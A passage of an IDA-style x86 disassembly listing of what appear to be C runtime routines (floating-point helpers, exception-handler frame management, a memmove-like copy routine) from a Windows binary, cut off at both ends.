sub_41C679+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41C73C ; --------------------------------------------------------------------------- loc_41C6FF: ; CODE XREF: sub_41C679+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C722 loc_41C714: ; CODE XREF: sub_41C679+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C722: ; CODE XREF: sub_41C679+99j test bl, 20h jnz short loc_41C714 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41C73C: ; CODE XREF: sub_41C679+84j call sub_421014 add esp, 1Ch loc_41C744: ; CODE XREF: sub_41C679+59j ; sub_41C679+67j ... pop esi pop ebx leave retn sub_41C679 endp ; =============== S U B R O U T I N E ======================================= sub_41C748 proc near ; CODE XREF: ___:0041B78Dp ; sub_4218B2+21p ; DATA XREF: ... call sub_41C760 call sub_4218B2 mov dword_4DB2FC, eax call sub_421862 fnclex retn sub_41C748 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41C760 proc near ; CODE XREF: sub_41C748p mov eax, offset sub_421CA0 mov off_43C8D4, offset sub_421935 mov off_43C8D0, eax mov off_43C8D8, offset sub_42199B mov off_43C8DC, offset sub_4218DB mov off_43C8E0, offset sub_421983 mov off_43C8E4, eax retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C798 proc near ; CODE XREF: sub_40D030+1Bp ; sub_40D030+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41C798 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C7BF(double) sub_41C7BF proc near ; CODE XREF: sub_40D07C+82p ; ___:0040DD3Cp var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A2D8 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C845 call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C828 cmp eax, 2 jle short loc_41C81A cmp eax, 3 jnz short loc_41C828 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_420FC1 add esp, 10h jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C81A: ; CODE XREF: sub_41C7BF+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C828: ; CODE XREF: sub_41C7BF+3Aj ; sub_41C7BF+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41C882 ; --------------------------------------------------------------------------- loc_41C845: ; CODE XREF: sub_41C7BF+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C868 loc_41C85A: ; CODE XREF: sub_41C7BF+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C868: ; CODE XREF: sub_41C7BF+99j ; DATA XREF: Themida_:off_559B7Co test bl, 20h jnz short loc_41C85A fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41C882: ; CODE XREF: sub_41C7BF+84j call sub_421014 add esp, 1Ch loc_41C88A: ; CODE XREF: sub_41C7BF+59j ; sub_41C7BF+67j ... pop esi pop ebx leave retn sub_41C7BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C88E proc near ; CODE XREF: ___:00422182p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41C88E endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41C8C2 proc near ; CODE XREF: sub_4222C2+199p ; sub_422486+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_4222C2+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41C8D0 proc near ; CODE XREF: sub_41CA82+5Cp ; sub_422111:loc_422142p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41C8F8 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_42675C sub_41C8D0 endp ; --------------------------------------------------------------------------- loc_41C8F8: ; DATA XREF: sub_41C8D0+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41C91F: ; CODE XREF: ___:00426DFCj ; ___:00426E19j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_421D16 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C955 proc near ; CODE XREF: sub_42218C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41C9A9 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422510 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41C955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9A9 proc near ; DATA XREF: sub_41C955+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h pop ebp retn sub_41C9A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9CE proc near ; CODE XREF: sub_421F58+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41CA82 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41CA54 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DB354 pop ecx pop ecx and [ebp+var_34], 0 loc_41CA54: ; DATA XREF: sub_41C9CE+3Co cmp [ebp+var_4], 0 jz short loc_41CA71 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41CA7A ; --------------------------------------------------------------------------- loc_41CA71: ; CODE XREF: sub_41C9CE+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41CA7A: ; CODE XREF: sub_41C9CE+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41C9CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA82 proc near ; DATA XREF: sub_41C9CE+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41CAA5 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41CAF2 ; --------------------------------------------------------------------------- loc_41CAA5: ; CODE XREF: sub_41CA82+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41CAE3 push [ebp+arg_0] push [ebp+arg_4] call sub_41C8D0 ; --------------------------------------------------------------------------- loc_41CAE3: ; CODE XREF: sub_41CA82+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41CAF2: ; CODE XREF: sub_41CA82+21j pop edi pop esi pop ebx pop ebp retn sub_41CA82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAF7 proc near ; CODE XREF: sub_421DB1+C6p ; sub_421F58+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41CB4E loc_41CB15: ; CODE XREF: sub_41CAF7+52j cmp esi, 0FFFFFFFFh jnz short loc_41CB1F call sub_4225B2 loc_41CB1F: ; CODE XREF: sub_41CAF7+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41CB34 cmp ecx, [eax+8] jle short loc_41CB39 loc_41CB34: ; CODE XREF: sub_41CAF7+36j cmp esi, 0FFFFFFFFh jnz short loc_41CB45 loc_41CB39: ; CODE XREF: sub_41CAF7+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41CB45: ; CODE XREF: sub_41CAF7+40j cmp [ebp+arg_4], 0 jge short loc_41CB15 mov eax, [ebp+var_4] loc_41CB4E: ; CODE XREF: sub_41CAF7+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41CB62 cmp esi, eax jbe short loc_41CB67 loc_41CB62: ; CODE XREF: sub_41CAF7+65j call sub_4225B2 loc_41CB67: ; CODE XREF: sub_41CAF7+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41CAF7 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41CB74 proc near ; CODE XREF: sub_4234B8+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41CB8C push [ebp+arg_0] call sub_42675C sub_41CB74 endp ; =============== S U B R O U T I N E ======================================= sub_41CB8C proc near ; DATA XREF: sub_41CB74+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CB8C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CB94 proc near ; DATA XREF: sub_41CBB6+Ao ; sub_41CC1E+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41CBB5 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41CBB5: ; CODE XREF: sub_41CB94+10j retn sub_41CB94 endp ; =============== S U B R O U T I N E ======================================= sub_41CBB6 proc near ; CODE XREF: sub_422232+Dp ; sub_4234B8+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41CB94 push large dword ptr fs:0 mov large fs:0, esp loc_41CBD3: ; CODE XREF: sub_41CBB6:loc_41CC0Ej mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41CC10 cmp esi, [esp+1Ch+arg_4] jz short loc_41CC10 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41CC0E push 101h mov eax, [ebx+esi*4+8] call sub_41CC4A call dword ptr [ebx+esi*4+8] loc_41CC0E: ; CODE XREF: sub_41CBB6+44j jmp short loc_41CBD3 ; --------------------------------------------------------------------------- loc_41CC10: ; CODE XREF: sub_41CBB6+2Aj ; sub_41CBB6+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41CBB6 endp ; =============== S U B R O U T I N E ======================================= sub_41CC1E proc near ; CODE XREF: sub_422252+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41CB94 jnz short locret_41CC40 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41CC40 mov eax, 1 locret_41CC40: ; CODE XREF: sub_41CC1E+10j ; sub_41CC1E+1Bj retn sub_41CC1E endp ; =============== S U B R O U T I N E ======================================= sub_41CC41 proc near ; CODE XREF: sub_422510+1Ep ; sub_422510+40p push ebx push ecx mov ebx, offset dword_43A2DC jmp short loc_41CC54 sub_41CC41 endp ; =============== S U B R O U T I N E ======================================= sub_41CC4A proc near ; CODE XREF: sub_41CBB6+4Fp ; sub_4234B8+78p push ebx push ecx mov ebx, offset dword_43A2DC mov ecx, [ebp+8] loc_41CC54: ; CODE XREF: sub_41CC41+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41CC4A endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41CC64 proc near ; CODE XREF: sub_40D07C+5p ; sub_40D21E+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41CC64 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CC83 proc near ; CODE XREF: sub_40D6B3+26p ; ___:004264F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B0B1 pop ecx retn sub_41CC83 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC90 proc near ; CODE XREF: sub_40D724+3Ap ; sub_41DEA2+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CCB0 cmp edi, eax jb loc_41CE28 loc_41CCB0: ; CODE XREF: sub_41CC90+16j test edi, 3 jnz short loc_41CCCC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- loc_41CCCC: ; CODE XREF: sub_41CC90+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CCE4 and eax, 3 add ecx, eax jmp dword ptr loc_41CCEC+4[eax*4] ; --------------------------------------------------------------------------- loc_41CCE4: ; CODE XREF: sub_41CC90+46j jmp dword ptr loc_41CDE8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CCEC: ; CODE XREF: sub_41CC90+31j ; sub_41CC90+8Ej ... jmp off_41CD6C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_41CD00 dd offset loc_41CD2C dd offset loc_41CD50 ; --------------------------------------------------------------------------- loc_41CD00: ; DATA XREF: sub_41CC90+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD2C: ; DATA XREF: sub_41CC90+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CD50: ; DATA XREF: sub_41CC90+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CD6C dd offset loc_41CDCF ; DATA XREF: sub_41CC90:loc_41CCECr dd offset loc_41CDBC dd offset loc_41CDB4 dd offset loc_41CDAC dd offset loc_41CDA4 dd offset loc_41CD9C dd offset loc_41CD94 dd offset loc_41CD8C ; --------------------------------------------------------------------------- loc_41CD8C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CD94: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CD9C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CDA4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CDAC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CDB4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CDBC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CDCF: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90:off_41CD6Co jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDD8 dd offset loc_41CDE8 ; DATA XREF: sub_41CC90+35r ; sub_41CC90+92r ... dd offset loc_41CDF0 dd offset loc_41CDFC dd offset loc_41CE10 ; --------------------------------------------------------------------------- loc_41CDE8: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CDF0: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDFC: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE10: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE28: ; CODE XREF: sub_41CC90+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CE5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CE50: ; CODE XREF: sub_41CC90+1B1j ; sub_41CC90+208j ... neg ecx jmp off_41CF20[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CE5C: ; CODE XREF: sub_41CC90+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CE74 and eax, 3 sub ecx, eax jmp dword ptr loc_41CE74+4[eax*4] ; --------------------------------------------------------------------------- loc_41CE74: ; CODE XREF: sub_41CC90+1D6j ; DATA XREF: sub_41CC90+1DDr jmp off_41CF70[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CE87+1 dd offset loc_41CEA8 ; --------------------------------------------------------------------------- ror dh, 1 inc ecx loc_41CE87: ; DATA XREF: sub_41CC90+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEA8: ; DATA XREF: sub_41CC90+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF24 dd offset loc_41CF2C dd offset loc_41CF34 dd offset loc_41CF3C dd offset loc_41CF44 dd offset loc_41CF4C dd offset loc_41CF54 off_41CF20 dd offset loc_41CF67 ; DATA XREF: sub_41CC90+1C2r ; --------------------------------------------------------------------------- loc_41CF24: ; DATA XREF: sub_41CC90+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CF2C: ; DATA XREF: sub_41CC90+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CF34: ; DATA XREF: sub_41CC90+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CF3C: ; DATA XREF: sub_41CC90+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CF44: ; DATA XREF: sub_41CC90+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CF4C: ; DATA XREF: sub_41CC90+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CF54: ; DATA XREF: sub_41CC90+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CF67: ; CODE XREF: sub_41CC90+1C2j ; DATA XREF: sub_41CC90:off_41CF20o jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CF70 dd offset loc_41CF80 ; DATA XREF: sub_41CC90+1B7r ; sub_41CC90:loc_41CE74r ... dd offset loc_41CF88 dd offset loc_41CF98 dd offset loc_41CFAC ; --------------------------------------------------------------------------- loc_41CF80: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF88: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF98: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CFAC: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CC90 endp ; =============== S U B R O U T I N E ======================================= sub_41CFC5 proc near ; CODE XREF: sub_40D78B+34p ; sub_40D78B+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41CFC5 endp ; =============== S U B R O U T I N E ======================================= sub_41CFD3 proc near ; CODE XREF: sub_41D040+4p arg_0 = dword ptr 4 push esi push dword_4DC95C call sub_422608 mov edx, dword_4DC95C pop ecx mov ecx, dword_4DC958 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D032 push edx call sub_422608 add eax, 10h push eax push dword_4DC95C call sub_41B202 add esp, 0Ch test eax, eax jnz short loc_41D015 retn ; --------------------------------------------------------------------------- loc_41D015: ; CODE XREF: sub_41CFD3+3Fj mov ecx, dword_4DC958 sub ecx, dword_4DC95C mov dword_4DC95C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DC958, ecx loc_41D032: ; CODE XREF: sub_41CFD3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DC958, 4 retn sub_41CFD3 endp ; =============== S U B R O U T I N E ======================================= sub_41D040 proc near ; CODE XREF: sub_40D878+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41CFD3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D040 endp ; =============== S U B R O U T I N E ======================================= sub_41D052 proc near ; DATA XREF: ___:0042901Co push 80h call sub_41B4D5 test eax, eax pop ecx mov dword_4DC95C, eax jnz short loc_41D073 push 18h call sub_41DA29 mov eax, dword_4DC95C pop ecx loc_41D073: ; CODE XREF: sub_41D052+12j and dword ptr [eax], 0 mov eax, dword_4DC95C mov dword_4DC958, eax retn sub_41D052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D081 proc near ; CODE XREF: ___:0040DB4Bp var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = 